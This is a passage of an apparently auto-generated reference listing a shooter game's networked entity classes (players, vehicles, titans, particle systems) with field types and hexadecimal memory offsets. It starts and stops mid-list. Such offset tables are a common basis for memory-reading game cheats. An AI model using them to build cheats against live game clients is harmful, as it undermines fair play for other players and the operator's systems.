+DT_LocalPlayerExclusive!0x32f4 m_observerModeStaticAngles +DT_LocalPlayerExclusive!0x3300 m_observerModeStaticFOVOverride +DT_LocalPlayerExclusive!0x336c m_lastKillTime +DT_LocalPlayerExclusive!0x3394 m_wallRunStartTime +DT_LocalPlayerExclusive!0x3398 m_wallRunClearTime +DT_LocalPlayerExclusive!0x33ac m_dodging +DT_LocalPlayerExclusive!0x3406 m_dodgingInAir +DT_LocalPlayerExclusive!0x3420 m_airSpeed +DT_LocalPlayerExclusive!0x3424 m_airAcceleration +DT_LocalPlayerExclusive!0x3450 m_firstPersonProxy +DT_LocalPlayerExclusive!0x3454 m_predictedFirstPersonProxy +DT_LocalPlayerExclusive!0x3464 m_hardpointEntity +DT_LocalPlayerExclusive!0x349c m_petTitanMode +DT_LocalPlayerExclusive!0x34a4 m_hThirdPersonEnt +DT_LocalPlayerExclusive!0x34a8 m_thirdPersonShoulderView +DT_LocalPlayerExclusive!0x350c m_thirdPerson +DT_LocalPlayerExclusive!0x35d4 m_playerLookTargetEntity +DT_LocalPlayerExclusive!0x35d8 m_playerLookTargetOffset +DT_LocalPlayerExclusive!0x3618 m_viewConeLerpTime +DT_LocalPlayerExclusive!0x386c m_flLaggedMovementValue +DT_LocalPlayerExclusive!0x3870 m_lastMoveInputTime +DT_LocalPlayerExclusive!0x3874 m_ignoreEntityForMovementUntilNotTouching +DT_LocalPlayerExclusive!0x3dbc m_lungeTargetEntity +DT_LocalPlayerExclusive!0x3dc0 m_isLungingToPosition +DT_LocalPlayerExclusive!0x3dc4 m_lungeTargetPosition +DT_LocalPlayerExclusive!0x3dd0 m_lungeStartPositionOffset +DT_LocalPlayerExclusive!0x3ddc m_lungeEndPositionOffset +DT_LocalPlayerExclusive!0x3de8 m_lungeStartTime +DT_LocalPlayerExclusive!0x3dec m_lungeEndTime +DT_LocalPlayerExclusive!0x3df0 m_lungeCanFly +DT_LocalPlayerExclusive!0x3df1 m_lungeLockPitch +DT_LocalPlayerExclusive!0x3df4 m_lungeStartPitch +DT_LocalPlayerExclusive!0x3df8 m_lungeSmoothTime +DT_LocalPlayerExclusive!0x3dfc m_lungeMaxTime +DT_LocalPlayerExclusive!0x3e00 m_lungeMaxEndSpeed +DT_LocalPlayerExclusive!0x426c m_nearbyPusherCount +DT_LocalPlayerExclusive!0x427c m_pushAwayFromTopAcceleration +DT_LocalPlayerExclusive!0x428c m_minimapTargetZoomScale +DT_LocalPlayerExclusive!0x4290 m_minimapTargetLerpTime +DT_LocalPlayerExclusive!0x4298 m_playerScriptNetDataExclusive +DT_LocalPlayerExclusive!0x42a4 m_pingOffset +DT_LocalPlayerExclusive!0x42c0 m_skydiveForwardPoseValueVelocity +DT_LocalPlayerExclusive!0x42c8 m_skydiveForwardPoseValueCurrent +DT_LocalPlayerExclusive!0x42cc m_skydiveSidePoseValueVelocity +DT_LocalPlayerExclusive!0x42d4 m_skydiveSidePoseValueCurrent +DT_LocalPlayerExclusive!0x42d8 m_skydiveYawVelocity +DT_LocalPlayerExclusive!0x42dc m_skydiveIsNearLeviathan +DT_LocalPlayerExclusive!0x42fc m_skydiveStartTime +DT_LocalPlayerExclusive!0x4300 m_skydiveEndTime +DT_LocalPlayerExclusive!0x4304 m_skydiveAnticipateStartTime +DT_LocalPlayerExclusive!0x4308 m_skydiveAnticipateEndTime +DT_LocalPlayerExclusive!0x430c m_skydiveDistanceToLand +DT_LocalPlayerExclusive!0x4320 m_skydiveFreelookEnabled +DT_LocalPlayerExclusive!0x4324 m_skydiveFreelookLockedAngle +DT_LocalPlayerExclusive!0x4338 m_skydiveFollowing +DT_LocalPlayerExclusive!0x433c m_skydiveUnfollowVelocity +DT_LocalPlayerExclusive!0x434c m_skydiveLeviathanHitPosition +DT_LocalPlayerExclusive!0x4358 m_skydiveLeviathanHitNormal +DT_LocalPlayerExclusive!0x4364 m_skydiveSlipVelocity +DT_LocalPlayerExclusive!0x4370 m_skydiveFromUpdraft +DT_LocalPlayerExclusive!0x4378 m_twitchRewardBits +DT_LocalPlayerExclusive!0x4388 m_playerKnockBacks +DT_LocalPlayerExclusive!0x4408 m_updraftCount +DT_LocalPlayerExclusive!0x440c m_updraftStage +DT_LocalPlayerExclusive!0x4410 m_updraftEnterTime +DT_LocalPlayerExclusive!0x4414 m_updraftLeaveTime +DT_LocalPlayerExclusive!0x4418 m_updraftMinShakeActivationHeight +DT_LocalPlayerExclusive!0x441c m_updraftMaxShakeActivationHeight +DT_LocalPlayerExclusive!0x4420 m_updraftLiftActivationHeight +DT_LocalPlayerExclusive!0x4424 m_updraftLiftSpeed +DT_LocalPlayerExclusive!0x4428 m_updraftLiftAcceleration +DT_LocalPlayerExclusive!0x442c m_updraftLiftExitDuration +DT_LocalPlayerExclusive!0x4430 m_updraftSlowTime +DT_LocalPlayerExclusive!0x4434 m_armsModelIndex +DT_LocalPlayerExclusive!0x4438 m_deathFieldIndex +``` +
+
+class DT_LootGrabber extends DT_DynamicProp + +``` +{ + m_minimapData: DT_MinimapBaseEntityData, + m_impactEffectColorID: Int, + m_lootBeingGrabbed: Int, + m_lootGrabDist: Float, +} +``` + +### Offsets + +``` +DT_LootGrabber!0x0948 m_minimapData +DT_LootGrabber!0x1640 m_impactEffectColorID +DT_LootGrabber!0x1648 m_lootBeingGrabbed +DT_LootGrabber!0x164c m_lootGrabDist +``` +
+
+class DT_MinimapBaseEntityData + +``` +{ + visibilityDefaultFlag: DataTable, + visibilityShowFlag: DataTable, + flags: Int, + zOrder: Int, + customState: Int, + objectScale: Float, +} +``` + +### Offsets + +``` +DT_MinimapBaseEntityData!0x0000 visibilityDefaultFlag +DT_MinimapBaseEntityData!0x0020 visibilityShowFlag +DT_MinimapBaseEntityData!0x0040 flags +DT_MinimapBaseEntityData!0x0044 zOrder +DT_MinimapBaseEntityData!0x0048 customState +DT_MinimapBaseEntityData!0x004c objectScale +``` +
+
+class DT_MovieDisplay extends DT_BaseEntity + +``` +{ + m_bEnabled: Int, + m_bLooping: Int, + m_szMovieFilename: String, + m_szGroupName: String, + m_szExternalAudioFilename: String, + m_bStretchToFill: Int, + m_bLetterbox: Int, + m_bPausesWithClient: Int, + m_bForcedSlave: Int, + m_bUseCustomUVs: Int, + m_flUMin: Float, + m_flUMax: Float, + m_flVMin: Float, + m_flVMax: Float, +} +``` + +### Offsets + +``` +DT_MovieDisplay!0x0a40 m_bEnabled +DT_MovieDisplay!0x0a41 m_bLooping +DT_MovieDisplay!0x0a43 m_szMovieFilename +DT_MovieDisplay!0x0ac3 m_szGroupName +DT_MovieDisplay!0x0b43 m_szExternalAudioFilename +DT_MovieDisplay!0x0b83 m_bStretchToFill +DT_MovieDisplay!0x0b84 m_bLetterbox +DT_MovieDisplay!0x0b85 m_bPausesWithClient +DT_MovieDisplay!0x0b86 m_bForcedSlave +DT_MovieDisplay!0x0b87 m_bUseCustomUVs +DT_MovieDisplay!0x0b8c m_flUMin +DT_MovieDisplay!0x0b90 m_flUMax +DT_MovieDisplay!0x0b94 m_flVMin +DT_MovieDisplay!0x0b98 m_flVMax +``` +
+
+class DT_NPC_SentryTurret extends DT_AI_BaseNPC + +``` +{ + m_turretState: Int, + m_killCount: Int, + m_titanKillCount: Int, + m_eyeAttach: Int, + m_controlPanel: Int, +} +``` + +### Offsets + +``` +DT_NPC_SentryTurret!0x1d40 m_turretState +DT_NPC_SentryTurret!0x1d44 m_killCount +DT_NPC_SentryTurret!0x1d48 m_titanKillCount +DT_NPC_SentryTurret!0x1d4c m_eyeAttach +DT_NPC_SentryTurret!0x1d50 m_controlPanel +``` +
+
+class DT_NPC_Titan extends DT_AI_BaseNPC + +``` +{ + m_decalIndex: Int, + m_inventory: DT_WeaponInventory, + m_selectedOffhands: DataTable, + m_titanSoul: Int, + m_grappleHook: Int, + m_grapple: DT_GrappleData, + m_grappleActive: Int, + m_canStand: Int, +} +``` + +### Offsets + +``` +DT_NPC_Titan!0x0e98 m_decalIndex +DT_NPC_Titan!0x19b0 m_inventory +DT_NPC_Titan!0x1a1e m_selectedOffhands +DT_NPC_Titan!0x1aa0 m_titanSoul +DT_NPC_Titan!0x1d40 m_grappleHook +DT_NPC_Titan!0x1d48 m_grapple +DT_NPC_Titan!0x1dd8 m_grappleActive +DT_NPC_Titan!0x1dd9 m_canStand +``` +
+
+class DT_NearbyPushers + +``` +{ + m_nearbyPushers: DataTable, +} +``` + +### Offsets + +``` +DT_NearbyPushers!0x411c m_nearbyPushers +``` +
+
+class DT_OverlayVars + +``` +{ + m_AnimOverlay: DataTable, + m_AnimOverlayCount: Int, +} +``` + +### Offsets + +``` +DT_OverlayVars!0x1608 m_AnimOverlay +DT_OverlayVars!0x16e0 m_AnimOverlayCount +``` +
+
+class DT_ParticleSystem + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_realmsBitMask: BitMask, + m_iEffectIndex: Int, + m_nStopType: Int, + m_bActive: Int, + m_bForceRenderAlways: Int, + m_flStartTime: Time, + m_bInSkybox: Int, + m_killForReplay: Int, + m_killIfOverLimit: Int, + m_vServerControlPoints: DataTable, + m_hControlPointEnts: DataTable, + m_controlPointAttachTypes: DataTable, + m_controlPoint1AttachmentIndex: Int, + m_vServerControlPointColorIds: DataTable, + m_parentAttachType: Int, +} +``` + +### Offsets + +``` +DT_ParticleSystem!0x0004 m_localOrigin +DT_ParticleSystem!0x001c moveparent +DT_ParticleSystem!0x0020 m_parentAttachmentType +DT_ParticleSystem!0x0024 m_parentAttachmentIndex +DT_ParticleSystem!0x0044 m_fEffects +DT_ParticleSystem!0x0428 m_visibilityFlags +DT_ParticleSystem!0x0430 m_iTeamNum +DT_ParticleSystem!0x0470 m_localAngles +DT_ParticleSystem!0x0484 m_hOwnerEntity +DT_ParticleSystem!0x083c m_parentAttachmentHitbox +DT_ParticleSystem!0x0840 m_parentAttachmentModel +DT_ParticleSystem!0x0a28 m_realmsBitMask +DT_ParticleSystem!0x0a40 m_iEffectIndex +DT_ParticleSystem!0x0a44 m_nStopType +DT_ParticleSystem!0x0a49 m_bActive +DT_ParticleSystem!0x0a4b m_bForceRenderAlways +DT_ParticleSystem!0x0a4c m_flStartTime +DT_ParticleSystem!0x0a55 m_bInSkybox +DT_ParticleSystem!0x0a56 m_killForReplay +DT_ParticleSystem!0x0a57 m_killIfOverLimit +DT_ParticleSystem!0x0a5c m_vServerControlPoints +DT_ParticleSystem!0x0a98 m_hControlPointEnts +DT_ParticleSystem!0x0aac m_controlPointAttachTypes +DT_ParticleSystem!0x0ac4 m_controlPoint1AttachmentIndex +DT_ParticleSystem!0x0ad4 m_vServerControlPointColorIds +DT_ParticleSystem!0x0adc m_parentAttachType +``` +
+
+class DT_PhysicsProp extends DT_BreakableProp + +``` +{ + m_spawnflags: Int, + m_bAwake: Int, + m_ignoresCollisionWithCombatCharacters: Int, + m_isRolling: Int, + m_networkTableRollSoundId: Int, + m_iPhysicsMode: Int, + m_fMass: Float, + m_collisionMins: Vector, + m_collisionMaxs: Vector, +} +``` + +### Offsets + +``` +DT_PhysicsProp!0x0094 m_spawnflags +DT_PhysicsProp!0x1608 m_bAwake +DT_PhysicsProp!0x1609 m_ignoresCollisionWithCombatCharacters +DT_PhysicsProp!0x160a m_isRolling +DT_PhysicsProp!0x160c m_networkTableRollSoundId +DT_PhysicsProp!0x1638 m_iPhysicsMode +DT_PhysicsProp!0x163c m_fMass +DT_PhysicsProp!0x1640 m_collisionMins +DT_PhysicsProp!0x164c m_collisionMaxs +``` +
+
+class DT_Player extends DT_BaseCombatCharacter + +``` +{ + localdata: DT_LocalPlayerExclusive, + teamshareddata: DT_PlayerTeamShared, + m_passives: Array, + portalnonlocaldata: DT_PortalNonLocalPlayerExclusive, + m_vecAbsOrigin: Vector, + isLocalOriginLocal: Int, + m_fFlags: Int, + m_hGroundEntity: Int, + m_iHealth: Int, + m_flMaxspeed: Float, + m_jumpPadDebounceExpireTime: Time, + m_iMaxHealth: Int, + m_lifeState: Int, + m_decalIndex: Int, + m_inventory: DT_WeaponInventory, + m_selectedOffhands: DataTable, + m_selectedOffhandsPendingHybridAction: DataTable, + m_titanSoul: Int, + m_bZooming: Int, + m_zoomToggleOnStartTime: Time, + m_zoomBaseFrac: Float, + m_zoomBaseTime: Time, + m_zoomFullStartTime: Time, + m_currentFramePlayer: DT_CurrentData_Player, + pl: DT_PlayerState, + m_ammoPoolCapacity: Int, + m_hasBadReputation: Int, + m_happyHourActive: Int, + m_hardwareIcon: String, + m_hardware: Int, + m_unspoofedHardware: Int, + m_platformUserId: BitMask, + m_unSpoofedPlatformUserId: BitMask, + m_EadpUserId: BitMask, + m_crossPlayChat: Int, + m_crossPlayChatFriends: Int, + m_classModsActive: BitMask, + m_passives[ 0 ]: BitMask, + m_bleedoutState: Int, + m_bleedoutStartTime: Float, + m_statusEffectsTimedPlayerNV: DataTable, + m_statusEffectsEndlessPlayerNV: DataTable, + m_damageComboLatestUpdateTime: Time, + m_damageComboStartHealth: Int, + m_gestureSequences: DataTable, + m_gestureStartTimes: DataTable, + m_gestureBlendInDuration: DataTable, + m_gestureBlendOutDuration: DataTable, + m_gestureFadeOutStartTime: DataTable, + m_gestureFadeOutDuration: DataTable, + m_gestureAutoKillBitfield: Int, + m_autoSprintForced: Int, + m_fIsSprinting: Int, + m_playerSettingForStickySprintForward: Int, + m_lastSprintPressTime: Time, + m_stickySprintForwardEnableTime: Time, + m_stickySprintForwardDisableTime: Time, + m_damageImpulseNoDecelEndTime: Time, + m_playerVehicles: DataTable, + m_playerVehicleCount: Int, + m_playerVehicleDriven: Int, + m_playerVehicleUseTime: Time, + m_duckState: Int, + m_leanState: Int, + m_canStand: Int, + m_StandHullMin: Vector, + m_StandHullMax: Vector, + m_DuckHullMin: Vector, + m_DuckHullMax: Vector, + m_entitySyncingWithMe: Int, + m_upDir: Vector, + m_traversalState: Int, + m_traversalType: Int, + m_traversalForwardDir: Vector, + m_traversalRefPos: Vector, + m_traversalYawDelta: Float, + m_traversalYawPoseParameter: Int, + m_wallClimbSetUp: Int, + m_wallHanging: Int, + m_grapple: DT_GrappleData, + m_grappleActive: Int, + m_turret: Int, + m_hViewModels: DataTable, + m_viewOffsetEntity: DT_Player_ViewOffsetEntityData, + m_animViewEntity: DT_Player_AnimViewEntityData, + m_activeZipline: Int, + m_ziplineValid3pWeaponLayerAnim: Int, + m_ziplineState: Int, + m_ziplineGrenadeBeginStationEntity: Int, + m_ziplineGrenadeBeginStationAttachmentIndex: Int, + m_isPerformingBoostAction: Int, + m_lastJumpPadTouched: Int, + m_launchCount: Int, + m_melee: DT_PlayerMelee_PlayerData, + m_useCredit: Int, + m_playerFlags: Int, + m_hasMic: Int, + m_inPartyChat: Int, + m_playerMoveSpeedScale: Float, + m_bShouldDrawPlayerWhileUsingViewEntity: Int, + m_iSpawnParity: Int, + m_iObserverMode: Int, + m_hObserverTarget: Int, + m_flDeathTime: Time, + m_lastDodgeTime: Time, + m_timeJetpackHeightActivateCheckPassed: Time, + m_grappleHook: Int, + m_petTitan: Int, + m_xp: Int, + m_skill_mu: Float, + m_bHasMatchAdminRole: Int, + m_ubEFNoInterpParity: Int, + m_hColorCorrectionCtrl: Int, + m_title: String, + m_Shared: DT_PlayerShared, + m_pilotClassIndex: Int, + m_pilotClassActivityModifier: Int, + m_playerScriptNetDataGlobal: Int, + m_helmetType: Int, + m_armorType: Int, + m_controllerModeActive: Int, + m_skydiveForwardPoseValueTarget: Float, + m_skydiveSidePoseValueTarget: Float, + m_skydiveState: Int, + m_skydiveDiveAngle: Float, + m_skydiveIsDiving: Int, + m_skydiveSpeed: Float, + m_skydiveStrafeAngle: Float, + m_skydivePlayerPitch: Float, + m_skydivePlayerYaw: Float, +} +``` + +### Offsets + +``` +DT_Player!0x0000 localdata +DT_Player!0x0000 teamshareddata +DT_Player!0x0000 m_passives +DT_Player!0x0000 portalnonlocaldata +DT_Player!0x0004 m_vecAbsOrigin +DT_Player!0x0010 isLocalOriginLocal +DT_Player!0x0098 m_fFlags +DT_Player!0x041c m_hGroundEntity +DT_Player!0x0420 m_iHealth +DT_Player!0x0424 m_flMaxspeed +DT_Player!0x0448 m_jumpPadDebounceExpireTime +DT_Player!0x0558 m_iMaxHealth +DT_Player!0x0778 m_lifeState +DT_Player!0x0e98 m_decalIndex +DT_Player!0x19b0 m_inventory +DT_Player!0x1a1e m_selectedOffhands +DT_Player!0x1a21 m_selectedOffhandsPendingHybridAction +DT_Player!0x1aa0 m_titanSoul +DT_Player!0x1b81 m_bZooming +DT_Player!0x1b84 m_zoomToggleOnStartTime +DT_Player!0x1b88 m_zoomBaseFrac +DT_Player!0x1b8c m_zoomBaseTime +DT_Player!0x1b90 m_zoomFullStartTime +DT_Player!0x2020 m_currentFramePlayer +DT_Player!0x2430 pl +DT_Player!0x24b4 m_ammoPoolCapacity +DT_Player!0x24b8 m_hasBadReputation +DT_Player!0x24b9 m_happyHourActive +DT_Player!0x24c0 m_hardwareIcon +DT_Player!0x24d0 m_hardware +DT_Player!0x24d1 m_unspoofedHardware +DT_Player!0x24e8 m_platformUserId +DT_Player!0x24f0 m_unSpoofedPlatformUserId +DT_Player!0x24f8 m_EadpUserId +DT_Player!0x2500 m_crossPlayChat +DT_Player!0x2501 m_crossPlayChatFriends +DT_Player!0x2508 m_classModsActive +DT_Player!0x2608 m_passives[ 0 ] +DT_Player!0x2628 m_bleedoutState +DT_Player!0x262c m_bleedoutStartTime +DT_Player!0x2630 m_statusEffectsTimedPlayerNV +DT_Player!0x2720 m_statusEffectsEndlessPlayerNV +DT_Player!0x27d4 m_damageComboLatestUpdateTime +DT_Player!0x27d8 m_damageComboStartHealth +DT_Player!0x27dc m_gestureSequences +DT_Player!0x27fc m_gestureStartTimes +DT_Player!0x281c m_gestureBlendInDuration +DT_Player!0x283c m_gestureBlendOutDuration +DT_Player!0x285c m_gestureFadeOutStartTime +DT_Player!0x287c m_gestureFadeOutDuration +DT_Player!0x289c m_gestureAutoKillBitfield +DT_Player!0x28e0 m_autoSprintForced +DT_Player!0x28e4 m_fIsSprinting +DT_Player!0x28e6 m_playerSettingForStickySprintForward +DT_Player!0x28e8 m_lastSprintPressTime +DT_Player!0x28ec m_stickySprintForwardEnableTime +DT_Player!0x28f0 m_stickySprintForwardDisableTime +DT_Player!0x2908 m_damageImpulseNoDecelEndTime +DT_Player!0x2914 m_playerVehicles +DT_Player!0x291c m_playerVehicleCount +DT_Player!0x2920 m_playerVehicleDriven +DT_Player!0x2924 m_playerVehicleUseTime +DT_Player!0x2928 m_duckState +DT_Player!0x292c m_leanState +DT_Player!0x2931 m_canStand +DT_Player!0x2934 m_StandHullMin +DT_Player!0x2940 m_StandHullMax +DT_Player!0x294c m_DuckHullMin +DT_Player!0x2958 m_DuckHullMax +DT_Player!0x2964 m_entitySyncingWithMe +DT_Player!0x2968 m_upDir +DT_Player!0x29e4 m_traversalState +DT_Player!0x29e8 m_traversalType +DT_Player!0x2a14 m_traversalForwardDir +DT_Player!0x2a20 m_traversalRefPos +DT_Player!0x2a4c m_traversalYawDelta +DT_Player!0x2a50 m_traversalYawPoseParameter +DT_Player!0x2a68 m_wallClimbSetUp +DT_Player!0x2a69 m_wallHanging +DT_Player!0x2a90 m_grapple +DT_Player!0x2b20 m_grappleActive +DT_Player!0x2b68 m_turret +DT_Player!0x2b6c m_hViewModels +DT_Player!0x2b80 m_viewOffsetEntity +DT_Player!0x2bc0 m_animViewEntity +DT_Player!0x2cc0 m_activeZipline +DT_Player!0x2ccc m_ziplineValid3pWeaponLayerAnim +DT_Player!0x2cd0 m_ziplineState +DT_Player!0x2d64 m_ziplineGrenadeBeginStationEntity +DT_Player!0x2d68 m_ziplineGrenadeBeginStationAttachmentIndex +DT_Player!0x2da9 m_isPerformingBoostAction +DT_Player!0x2ea0 m_lastJumpPadTouched +DT_Player!0x2ea8 m_launchCount +DT_Player!0x2fd8 m_melee +DT_Player!0x3010 m_useCredit +DT_Player!0x3020 m_playerFlags +DT_Player!0x3028 m_hasMic +DT_Player!0x3029 m_inPartyChat +DT_Player!0x302c m_playerMoveSpeedScale +DT_Player!0x3268 m_bShouldDrawPlayerWhileUsingViewEntity +DT_Player!0x32d4 m_iSpawnParity +DT_Player!0x32dc m_iObserverMode +DT_Player!0x32e0 m_hObserverTarget +DT_Player!0x3370 m_flDeathTime +DT_Player!0x33b0 m_lastDodgeTime +DT_Player!0x33d0 m_timeJetpackHeightActivateCheckPassed +DT_Player!0x3458 m_grappleHook +DT_Player!0x345c m_petTitan +DT_Player!0x3484 m_xp +DT_Player!0x348c m_skill_mu +DT_Player!0x3490 m_bHasMatchAdminRole +DT_Player!0x3d70 m_ubEFNoInterpParity +DT_Player!0x3d74 m_hColorCorrectionCtrl +DT_Player!0x3d98 m_title +DT_Player!0x40c8 m_Shared +DT_Player!0x4110 m_pilotClassIndex +DT_Player!0x4114 m_pilotClassActivityModifier +DT_Player!0x4294 m_playerScriptNetDataGlobal +DT_Player!0x429c m_helmetType +DT_Player!0x42a0 m_armorType +DT_Player!0x42a8 m_controllerModeActive +DT_Player!0x42c4 m_skydiveForwardPoseValueTarget +DT_Player!0x42d0 m_skydiveSidePoseValueTarget +DT_Player!0x42f8 m_skydiveState +DT_Player!0x4310 m_skydiveDiveAngle +DT_Player!0x4314 m_skydiveIsDiving +DT_Player!0x4318 m_skydiveSpeed +DT_Player!0x431c m_skydiveStrafeAngle +DT_Player!0x4330 m_skydivePlayerPitch +DT_Player!0x4334 m_skydivePlayerYaw +``` +
+
+class DT_PlayerDecoy extends DT_BaseAnimating + +``` +{ + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_iHealth: Int, + m_iMaxHealth: Int, + m_nameVisibilityFlags: Int, + m_currentState: Int, + m_decoyFlags: Int, + m_lastPulseTime: Time, + m_currentClass: BitMask, + m_classModsActive: BitMask, +} +``` + +### Offsets + +``` +DT_PlayerDecoy!0x019c m_cloakEndTime +DT_PlayerDecoy!0x01a0 m_cloakFadeInEndTime +DT_PlayerDecoy!0x01a4 m_cloakFadeOutStartTime +DT_PlayerDecoy!0x01a8 m_cloakFadeInDuration +DT_PlayerDecoy!0x01ac m_cloakFlickerAmount +DT_PlayerDecoy!0x01b0 m_cloakFlickerEndTime +DT_PlayerDecoy!0x0420 m_iHealth +DT_PlayerDecoy!0x0558 m_iMaxHealth +DT_PlayerDecoy!0x0998 m_nameVisibilityFlags +DT_PlayerDecoy!0x1600 m_currentState +DT_PlayerDecoy!0x1604 m_decoyFlags +DT_PlayerDecoy!0x160c m_lastPulseTime +DT_PlayerDecoy!0x1610 m_currentClass +DT_PlayerDecoy!0x1618 m_classModsActive +``` +
+
+class DT_PlayerMelee_PlayerData + +``` +{ + meleeAttackParity: Int, + attackActive: Int, + attackRecoveryShouldBeQuick: Int, + isSprintAttack: Int, + attackStartTime: Time, + attackHitEntity: Int, + attackHitEntityTime: Time, + attackLastHitNonWorldEntity: Time, + scriptedState: Int, + pendingMeleePress: Int, + lungeBoost: Vector, +} +``` + +### Offsets + +``` +DT_PlayerMelee_PlayerData!0x0008 meleeAttackParity +DT_PlayerMelee_PlayerData!0x000c attackActive +DT_PlayerMelee_PlayerData!0x000d attackRecoveryShouldBeQuick +DT_PlayerMelee_PlayerData!0x000e isSprintAttack +DT_PlayerMelee_PlayerData!0x0010 attackStartTime +DT_PlayerMelee_PlayerData!0x0014 attackHitEntity +DT_PlayerMelee_PlayerData!0x0018 attackHitEntityTime +DT_PlayerMelee_PlayerData!0x001c attackLastHitNonWorldEntity +DT_PlayerMelee_PlayerData!0x0020 scriptedState +DT_PlayerMelee_PlayerData!0x0024 pendingMeleePress +DT_PlayerMelee_PlayerData!0x0028 lungeBoost +``` +
+
+class DT_PlayerTasklist extends DT_BaseEntity + +``` +{ + m_notifyTime: Time, + m_customInt: Int, + m_taskStatus: DataTable, + m_taskType: DataTable, + m_taskCountGoal: DataTable, + m_taskCountNow: DataTable, + m_taskFlags: DataTable, + m_taskGameTimes: DataTable, + m_taskInts: DataTable, + m_taskFloats: DataTable, + m_taskEnts: DataTable, + m_taskStringA: String, + m_taskStringB: String, + m_taskStringC: String, + m_taskStringD: String, + m_taskStringE: String, + m_taskStringF: String, + m_taskStringG: String, + m_taskStringH: String, + m_taskStringI: String, + m_taskStringJ: String, + m_taskStringK: String, + m_taskStringL: String, + m_taskStringM: String, +} +``` + +### Offsets + +``` +DT_PlayerTasklist!0x0a40 m_notifyTime +DT_PlayerTasklist!0x0a44 m_customInt +DT_PlayerTasklist!0x0a48 m_taskStatus +DT_PlayerTasklist!0x0a7c m_taskType +DT_PlayerTasklist!0x0ab0 m_taskCountGoal +DT_PlayerTasklist!0x0ae4 m_taskCountNow +DT_PlayerTasklist!0x0b18 m_taskFlags +DT_PlayerTasklist!0x0b4c m_taskGameTimes +DT_PlayerTasklist!0x0b80 m_taskInts +DT_PlayerTasklist!0x0bb4 m_taskFloats +DT_PlayerTasklist!0x0be8 m_taskEnts +DT_PlayerTasklist!0x0c1c m_taskStringA +DT_PlayerTasklist!0x0c5c m_taskStringB +DT_PlayerTasklist!0x0c9c m_taskStringC +DT_PlayerTasklist!0x0cdc m_taskStringD +DT_PlayerTasklist!0x0d1c m_taskStringE +DT_PlayerTasklist!0x0d5c m_taskStringF +DT_PlayerTasklist!0x0d9c m_taskStringG +DT_PlayerTasklist!0x0ddc m_taskStringH +DT_PlayerTasklist!0x0e1c m_taskStringI +DT_PlayerTasklist!0x0e5c m_taskStringJ +DT_PlayerTasklist!0x0e9c m_taskStringK +DT_PlayerTasklist!0x0edc m_taskStringL +DT_PlayerTasklist!0x0f1c m_taskStringM +``` +
+
+class DT_PlayerTeamShared + +``` +{ + m_healResources_healthTarget: Int, + m_lastTimeDamagedByOtherPlayer: Time, + m_lastTimeDamagedByNPC: Time, + m_lastTimeDidDamageToOtherPlayer: Time, + m_lastTimeDidDamageToNPC: Time, +} +``` + +### Offsets + +``` +DT_PlayerTeamShared!0x24bc m_healResources_healthTarget +DT_PlayerTeamShared!0x2e48 m_lastTimeDamagedByOtherPlayer +DT_PlayerTeamShared!0x2e4c m_lastTimeDamagedByNPC +DT_PlayerTeamShared!0x2e50 m_lastTimeDidDamageToOtherPlayer +DT_PlayerTeamShared!0x2e54 m_lastTimeDidDamageToNPC +``` +
+
+class DT_PlayerVehicle extends DT_BaseAnimatingOverlay + +``` +{ + vehicledriverdata: DT_VehicleDriverExclusive, + vehiclenondriverdata: DT_VehicleNonDriverExclusive, + m_vehiclePlayers: Array, + m_vecViewOffset.x: Float, + m_vecViewOffset.y: Float, + m_vecViewOffset.z: Float, + m_iHealth: Int, + m_localAngles: Vector, + m_iMaxHealth: Int, + m_vehicleDriver: Int, + m_driverActivationTime: Time, + m_driverDeactivationTime: Time, + m_vehiclePlayers[0]: Int, + m_vehiclePlayerCount: Int, + m_vehicleActivated: Int, + m_blockDuckInput: Int, + m_vehicleFlags: Int, + m_vehicleType: Int, + m_vehicleLaunchTime: Float, + m_vehicleVelocity: Vector, + m_vehicleGroundEntity: Int, + m_vehicleGroundNormal: Vector, + m_hoverVehicleIsOnGround: Int, + m_hoverVehicleLastBoostTime: Time, + m_hoverVehicleIsParked: Int, + m_hoverVehicleIsMarkedAsDrivingForward: Int, + m_hoverVehicleStunTimeEnd: Float, + m_hoverVehicleThrottle: Float, + m_hoverVehicleBanking: Float, + m_hoverVehicleFrictionLastTime: Float, + m_hoverVehicleFrictionSurfPropOther: Int, + m_hoverVehicleFrictionNormal: Vector, + m_hoverVehicleFrictionPos: Vector, + m_hoverVehicleSeats: DataTable, + m_abilityAttachmentEnts: DataTable, + m_abilityAttachmentInts: DataTable, + m_overrideVehicleAngles: Vector, + m_overrideVehicleAnglesUntilTick: Int, + m_pushingEnt: Int, + m_materialDualColorMask: Int, +} +``` + +### Offsets + +``` +DT_PlayerVehicle!0x0000 vehicledriverdata +DT_PlayerVehicle!0x0000 vehiclenondriverdata +DT_PlayerVehicle!0x0000 m_vehiclePlayers +DT_PlayerVehicle!0x0038 m_vecViewOffset.x +DT_PlayerVehicle!0x003c m_vecViewOffset.y +DT_PlayerVehicle!0x0040 m_vecViewOffset.z +DT_PlayerVehicle!0x0420 m_iHealth +DT_PlayerVehicle!0x0470 m_localAngles +DT_PlayerVehicle!0x0558 m_iMaxHealth +DT_PlayerVehicle!0x1984 m_vehicleDriver +DT_PlayerVehicle!0x198c m_driverActivationTime +DT_PlayerVehicle!0x1990 m_driverDeactivationTime +DT_PlayerVehicle!0x1994 m_vehiclePlayers[0] +DT_PlayerVehicle!0x19a4 m_vehiclePlayerCount +DT_PlayerVehicle!0x19a8 m_vehicleActivated +DT_PlayerVehicle!0x19a9 m_blockDuckInput +DT_PlayerVehicle!0x19ac m_vehicleFlags +DT_PlayerVehicle!0x19b0 m_vehicleType +DT_PlayerVehicle!0x19b8 m_vehicleLaunchTime +DT_PlayerVehicle!0x19c0 m_vehicleVelocity +DT_PlayerVehicle!0x19cc m_vehicleGroundEntity +DT_PlayerVehicle!0x19d0 m_vehicleGroundNormal +DT_PlayerVehicle!0x19fc m_hoverVehicleIsOnGround +DT_PlayerVehicle!0x1adc m_hoverVehicleLastBoostTime +DT_PlayerVehicle!0x1ae5 m_hoverVehicleIsParked +DT_PlayerVehicle!0x1ae6 m_hoverVehicleIsMarkedAsDrivingForward 